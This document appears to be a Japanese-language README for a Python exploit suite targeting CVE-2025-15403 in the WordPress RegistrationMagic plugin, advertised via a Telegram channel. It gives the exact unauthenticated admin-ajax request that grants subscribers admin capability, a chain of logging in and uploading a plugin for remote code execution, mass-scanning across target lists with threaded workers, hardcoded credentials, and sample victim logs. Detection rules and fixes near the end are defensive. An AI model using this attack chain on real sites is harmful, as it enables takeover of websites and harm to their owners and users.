
RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格
RegistrationMagic <= 6.0.7.1 - admin_order を介した認証不要の権限昇格
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 インテルは最初にここで公開される。 Telegram で @KNxploited をフォロー — 正確な CVE 公開、動作するエクスプロイト、詳細な脆弱性研究。 ニュースを待たない人のためのチャンネル — 彼らがニュースを創る。
CVE-2025-15403 は、WordPress 用プラグイン RegistrationMagic における CVSS 9.8 Critical の権限昇格(Privilege Escalation)脆弱性です。
この欠陥はプラグインの add_menu 関数に存在し、rm_user_exists AJAX アクションを介して認証なしで露出しています。攻撃者は order パラメータに空のスラッグを注入し、enable_admin_order=yes フラグと併用することで、プラグインの内部メニュー生成ロジックを操作します。その後、管理者メニューが構築される際、プラグインは対象ロールに対して add_cap('manage_options') を静かに呼び出し、サブスクライバー層のアカウントを完全な管理者権限へと昇格させます。
根本原因は、add_menu 関数が rm_user_exists を通じて認証なしで呼び出し可能であり、加えて admin_order スラッグの検証が一切存在しないことです:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
なぜこれが重大なのか:
wp_ajax_nopriv_* = オプションを汚染するために認証が一切不要order=,menu1 内の空スラッグは empty() チェックを通過し、add_cap('manage_options') をトリガーするmanage_options は WordPress の最高権限 — 管理者(Administrator)と同等╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
このエクスプロイトスイートは、攻撃ライフサイクル全体をカバーする3つの異なるモードを提供します:
pip install requests colorama urllib3
Python 3.8+ が必要です。Python 3.10+ を推奨します(
X | Yユニオン型ヒントを使用)。
CVE-2025-15403/
├── CVE-2025-15403.py # Main exploit suite
├── list.txt # Target URLs — one per line
│
├── rm_register_results.txt # Mode 0: successful registrations
├── rm_exploit_results.txt # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt # ✔ Sites where RCE via plugin upload confirmed
下部にある3つの
_successファイルは段階的な侵害レベルを表します — 各ファイルは、その条件が確認され次第、独立して書き込まれます。
1行につき1つの URL またはホスト名を記載した list.txt を作成します:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
スキームのないベアホスト名には、自動的に
https://が前置されます。 サブディレクトリ型の WordPress インストール(例:/wordpress)は自動的に検出・処理されます。
python CVE-2025-15403.py
すべてのパラメータは対話形式でプロンプト表示されます。モード2 のセッション例:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txt権限昇格後にサブスクライバーアカウントが /wp-admin/ へのアクセスに成功したサイト:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtプラグインインストールページにアクセス可能だったサイト(manage_options を確認):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtテストプラグインがアップロード・実行されたサイト — RCE 確認済み:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
モード2 は3段階の段階的検証を実行します — 各段階は独立しており、それぞれ独自の結果ファイルを書き込みます:
Stage 1 — Admin Dashboard
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → writes to rm_admin_dashboard_success.txt
Stage 2 — Plugin Install Page Access
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → writes to rm_plugin_install_access.txt
Stage 3 — Real Plugin Upload + Execution (RCE Proof)
Extract _wpnonce from plugin-install page
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (in-memory generated)
GET /wp-content/plugins/Nxploited/hello.php
Check response body contains "Nxploited"
✔ → writes to rm_plugin_rce_success.txt
合格した各段階は独立して記録されます — ステージ1 は通過したがステージ3 を通過しなかったターゲットも、rm_admin_dashboard_success.txt には記録されます。
モード0 はカスタム HTML フォームパーサーを使用して、WordPress の登録フォーム(カスタムの RegistrationMagic フォームを含む)を自動的に検出・送信します:
Probe URLs (in order):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
For each page:
→ Parse all <form> elements
→ Score each form (0–200 points):
+100 "user_login" + "user_email" fields present
+ 60 Email + username-like fields present
+ 30 rm_* prefixed input fields (RegistrationMagic specific)
+ 20 form id/class contains "register" / "signup"
+ 10 Page body mentions "register" / "sign up"
→ Submit highest-scoring form (threshold: 40+)
→ Verify success via response body / redirect URL
このエクスプロイトによって生成されるネットワークパターン — 防御側および WAF/IDS 作成者向け:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
WAF / IDS ルール(疑似コード):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
追加の検出 — オプション汚染:
Monitor wp_options table:
IF option_name = "rm_admin_order"
AND option_value STARTS WITH ","
THEN ALERT — potential CVE-2025-15403 exploitation
サイト運営者、開発者、または防御側の方は、直ちに対処してください:
wp_options テーブルを監査する — rm_admin_order の値に不審なエントリ(例: , で始まるもの)がないか確認するmanage_options 権限を持つ不正なアカウントを削除または降格するwp_ajax_nopriv_* ハンドラーに権限チェックを追加する — オプション書き込み関数を認証なしで公開しないorder パラメータを検証・サニタイズする — 空のスラッグセグメントを含む値を拒否するrm_options_admin_menu を含む admin-ajax.php への認証不要の POST リクエストをブロックするrm_user_exists AJAX アクション呼び出しがないか、WordPress およびサーバーのログを監視するTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No assumptions.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment you own.
• You will NOT deploy this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool in any form.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| ハンドル | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram で @KNxploited をフォロー 新鮮な CVE。動作するエクスプロイト。ノイズなし。遅延なし。 本気の研究者が研ぎ澄まされた状態を保つチャンネル。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-15403 |
| プラグイン | RegistrationMagic |
| スラッグ | registrationmagic / custom-registration-form-builder-with-submission-manager |
| 影響を受けるバージョン | 6.0.7.1 までの全バージョン |
| 脆弱性の種類 | 認証不要の権限昇格 |
| 攻撃要件 | AJAX 段階: 不要。悪用段階: サブスクライバーアカウント |
| 攻撃ベクトル | ネットワーク |
| CVSS 3.1 スコア | 9.8 CRITICAL |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響 | WordPress 管理者アカウントの完全な乗っ取り |
| 研究者 | Nxploited |
| モード | 名前 | 説明 |
|---|
0 | 登録のみ | スマートな WordPress フォーム検出 + サブスクライバーアカウント登録 |
1 | エクスプロイトのみ | admin_order を汚染する認証不要の AJAX プリミティブを実行 |
2 | エクスプロイト + ログイン + 検証 | 完全チェーン: プリミティブ → ログイン → 管理ダッシュボード → プラグインインストール → RCE |
| 依存関係 | 用途 |
|---|
requests | HTTP セッション、Cookie 処理、リダイレクト追跡 |
colorama | クロスプラットフォーム対応のカラー端末出力 |
urllib3 | 自己署名証明書に対する SSL 警告の抑制 |
concurrent.futures | 高スループットなマルチターゲットスキャンのためのスレッドプール |
zipfile | RCE 検証用のテストプラグイン ZIP をメモリ内で生成 |
html.parser | スマートな登録フォームの検出とフィールド抽出 |
| 色 | タグ | 意味 |
|---|
| 🔵 シアン | info | 情報 — モード開始、設定 |
| 🟢 グリーン | ok | 完全成功 — 管理者アクセスまたは RCE が確認された |
| 🟡 イエロー | warn | 部分的な結果 — プリミティブ成功だがログイン失敗など |
| 🔴 レッド | err | 重大な失敗 — ファイルが見つからない、例外、ブロック |
| パラメータ | デフォルト | 説明 |
|---|
| モード | 0 | 攻撃モード: 0 = 登録、1 = エクスプロイト、2 = 完全チェーン |
| ターゲットファイル | list.txt | ターゲット URL を含むファイル |
| スレッド数 | 5(上限なし) | 並行実行する ThreadPoolExecutor ワーカー数 |
| タイムアウト | 10 秒 | リクエストごとの HTTP タイムアウト |
| ロールキー | _Subscriber | 昇格させる WordPress ロール(_Editor、_Author など) |
| ユーザー名 | NXploited | 登録 / ログインに使用するアカウント |
| パスワード | xplpass123 | そのアカウントのパスワード |
| プリミティブ送信 | yes | モード2 でログイン前に AJAX 段階を実行するかどうか |